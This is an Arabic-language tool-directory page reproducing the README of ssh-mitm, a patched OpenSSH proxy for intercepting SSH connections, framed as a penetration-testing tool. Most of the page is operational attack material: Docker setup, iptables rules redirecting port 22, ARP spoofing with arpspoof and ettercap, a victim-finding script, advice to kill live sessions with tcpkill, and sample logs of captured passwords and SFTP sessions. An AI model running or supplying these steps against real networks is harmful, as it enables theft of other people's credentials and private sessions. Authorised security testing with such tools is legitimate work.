Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ssh-mitm — أداة هجوم الوسيط (MITM) لبروتوكول SSH | Kitploit
أدوات/GitHubGitHub/jtesta/ssh-mitm
كسر كلمات المرورالاستطلاعالتهرب من IDS/IPSالحركة الجانبيةجمع المعلوماتأمن الشبكاتاختبار الاختراقالمصادقةالفريق الأحمرArchived
GitHubjtesta/ssh-mitm

ssh-mitm

أداة هجوم الوسيط (MITM) لبروتوكول SSH

1.7k213منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

SSH MITM v2.3-dev

المؤلف: Joe Testa (@therealjoetesta)

نظرة عامة

تتيح أداة اختبار الاختراق هذه للمدقق اعتراض اتصالات SSH. يتم تطبيق تصحيح على كود مصدر OpenSSH v7.5p1 يجعله يعمل كخادم وكيل بين الضحية وخادم SSH المقصود؛ يتم تسجيل جميع كلمات المرور والجلسات النصية العادية على القرص.

بطبيعة الحال، سيشكو عميل SSH الخاص بالضحية من أن مفتاح الخادم قد تغير. ولكن لأن 99.99999٪ من الوقت يكون ذلك بسبب إجراء شرعي (إعادة تثبيت نظام التشغيل، تغيير التكوين، إلخ)، فإن العديد/معظم المستخدمين سيتجاهلون التحذير ويكملون.

ملاحظة: قم بتشغيل sshd_mitm المعدّل فقط في VM أو حاوية! تم إجراء تعديلات مخصصة على مصادر OpenSSH في مناطق حرجة، دون أي اعتبار لآثارها الأمنية. ليس من الصعب تخيل أن هذه التعديلات تُدخل ثغرات أمنية خطيرة.

سجل التغييرات

  • v2.3: ???: إضافة دعم لـ Linux Mint 20 و Ubuntu 20.
  • v2.2: 16 سبتمبر 2019: إصلاح التثبيت على Kali و Linux Mint 19. إصلاح طلب كلمة مرور مزدوج يحدث في ظل ظروف معينة. تحسين تسجيل الأخطاء.
  • v2.1: 4 يناير 2018: تمكين تنفيذ الأوامر غير التفاعلية، إمكانية اعتراض الاتصالات بالخوادم القديمة ذات الخوارزميات الضعيفة، إصلاح خطأين رئيسيين تسببا في قتل AppArmor لبعض الاتصالات، وتحسين تسجيل الأخطاء.
  • v2.0: 12 سبتمبر 2017: إضافة دعم كامل لـ SFTP(!) وحصار AppArmor.
  • v1.1: 6 يوليو 2017: إزالة تبعيات صلاحيات الجذر، إضافة مثبّت تلقائي، إضافة دعم Kali Linux، إضافة برنامج JoesAwesomeSSHMITMVictimFinder.py للعثور على الأهداف المحتملة على الشبكة المحلية.
  • v1.0: 16 مايو 2017: المراجعة الأولية.

تشغيل صورة Docker

أسرع وأسهل طريقة للبدء هي استخدام صورة Docker مع SSH MITM المُعدّة مسبقًا.

1.) احصل على الصورة من Dockerhub باستخدام:

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) بعد ذلك، قم بتشغيل الحاوية باستخدام:

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) قم بتمكين إعادة توجيه IP ومسارات NAT على جهاز المضيف الخاص بك:

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) ابحث عن الأهداف على الشبكة المحلية، وقم بانتحال ARP لهم (انظر أدناه).

5.) سيتم تسجيل جلسات Shell و SFTP في دليل ssh_mitm_logs.

الإعداد الأولي

كجذر، قم بتشغيل البرنامج النصي install.sh. سيؤدي ذلك إلى تثبيت المتطلبات الأساسية من المستودعات، وتنزيل أرشيف OpenSSH، والتحقق من توقيعه، وتجميعه، وتهيئة بيئة غير مميزة للتنفيذ داخلها.

العثور على الأهداف

يجعل برنامج JoesAwesomeSSHMITMVictimFinder.py العثور على الأهداف على الشبكة المحلية أمرًا سهلاً للغاية. سيقوم بانتحال ARP لمجموعة من عناوين IP والتقاط حركة مرور SSH لفترة قصيرة قبل الانتقال إلى المجموعة التالية. يتم الإبلاغ عن أي اتصالات SSH جارية تنشأ من أجهزة على الشبكة المحلية.

افتراضيًا، سيقوم JoesAwesomeSSHMITMVictimFinder.py بانتحال ARP والتقاط 5 عناوين IP فقط في المرة الواحدة لمدة 20 ثانية قبل الانتقال إلى المجموعة التالية المكونة من 5. يمكن ضبط هذه المعاملات، على الرغم من وجود مفاضلة: كلما زاد عدد عناوين IP التي يتم انتحالها في المرة الواحدة، زادت فرصة التقاط اتصال SSH جارٍ، ولكن أيضًا زاد الضغط على واجهة الشبكة الضعيفة لديك. تحت الحمل العالي جدًا، ستبدأ واجهتك في إسقاط الإطارات، مما يتسبب في رفض الخدمة ويثير الشكوك بشكل كبير (هذا سيء). لا ينبغي أن تسبب الإعدادات الافتراضية مشاكل في معظم الحالات، على الرغم من أن العثور على الأهداف سيستغرق وقتًا أطول. يمكن زيادة حجم المجموعة بأمان على الشبكات منخفضة الاستخدام.

مثال:

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141


العملاء المحليون:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

يُظهر الإخراج أعلاه أن جهازين على الشبكة المحلية قاما بإنشاء اتصالات SSH (10.11.12.43 و 10.11.12.70)؛ يمكن استهداف هذين الجهازين لهجوم رجل في المنتصف. لاحظ، مع ذلك، أنه من أجل اعتراض بيانات الاعتماد المحتملة، يجب عليك الانتظار حتى يبدؤوا اتصالات جديدة. قد يختار مختبرو الاختراق غير الصابرين إغلاق جلسات SSH الحالية بالقوة (باستخدام أداة tcpkill)، مما يدفع العملاء إلى إنشاء اتصالات جديدة على الفور...

تشغيل الهجوم

1.) بمجرد الانتهاء من الإعداد الأولي والعثور على قائمة بالضحايا المحتملين (انظر أعلاه)، قم بتشغيل start.sh كجذر. سيؤدي ذلك إلى بدء sshd_mitm، وتمكين إعادة توجيه IP، وإعداد اعتراض حزم SSH عبر iptables.

2.) قم بانتحال ARP للهدف (الأهداف) (نصيحة مهمة: لا تقم بانتحال كل شيء! من المحتمل ألا تستطيع واجهة الشبكة الضعيفة لديك التعامل مع حركة مرور الشبكة بأكملها مرة واحدة. فقط قم بانتحال عنواني IP في المرة الواحدة):

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

بدلاً من ذلك، يمكنك استخدام أداة ettercap:

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) راقب auth.log. ستظهر هنا كلمات المرور المعترضة:

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) بمجرد إنشاء الجلسة، يمكن العثور على سجل كامل لجميع المدخلات والمخرجات في /home/ssh-mitm/. يتم تسجيل جلسات SSH كـ shell_session_*.txt، وجلسات SFTP كـ sftp_session_*.html (مع تخزين الملفات المنقولة في دليل مقابل).

عينة من النتائج

عند النجاح، سيحتوي /var/log/auth.log على سطور تسجل كلمة المرور، مثل هذا:

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

علاوة على ذلك، يتم تسجيل جلسة SSH الكاملة للضحية:

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

لاحظ أن الأحرف في أوامر المستخدم تظهر مرتين في الملف لأنه يتم تسجيل الإدخال من المستخدم، بالإضافة إلى إخراج الصدفة (الذي يعيد الأحرف). لاحظ أنه عندما تقوم برامج مثل sudo و ssh بتعطيل الصدى مؤقتًا لقراءة كلمة المرور، لا يتم تسجيل الأحرف المكررة.

يتم أيضًا التقاط جميع أنشطة SFTP. استخدم متصفحًا لعرض sftp_session_0.html. يحتوي على سجل للأوامر، مع روابط للملفات التي تم رفعها وتنزيلها:

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

وثائق المطور

في lol.h يوجد تعريفان: DEBUG_HOST و DEBUG_PORT. قم بتمكينهما واضبط اسم المضيف على خادم اختبار. الآن يمكنك الاتصال بـ sshd_mitm مباشرة دون استخدام انتحال ARP لاختبار تغييراتك، على سبيل المثال:

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

لاختبار التغييرات على كود مصدر OpenSSH، استخدم البرنامج النصي dev/redeploy.sh.

لعرض فرق التغييرات غير الملتزمة، استخدم البرنامج النصي dev/make_diff_of_uncommitted_changes.sh.

لإعادة إنشاء تصحيح كامل لمصادر OpenSSH، استخدم البرنامج النصي dev/regenerate_patch.sh.

تنزيل الأداة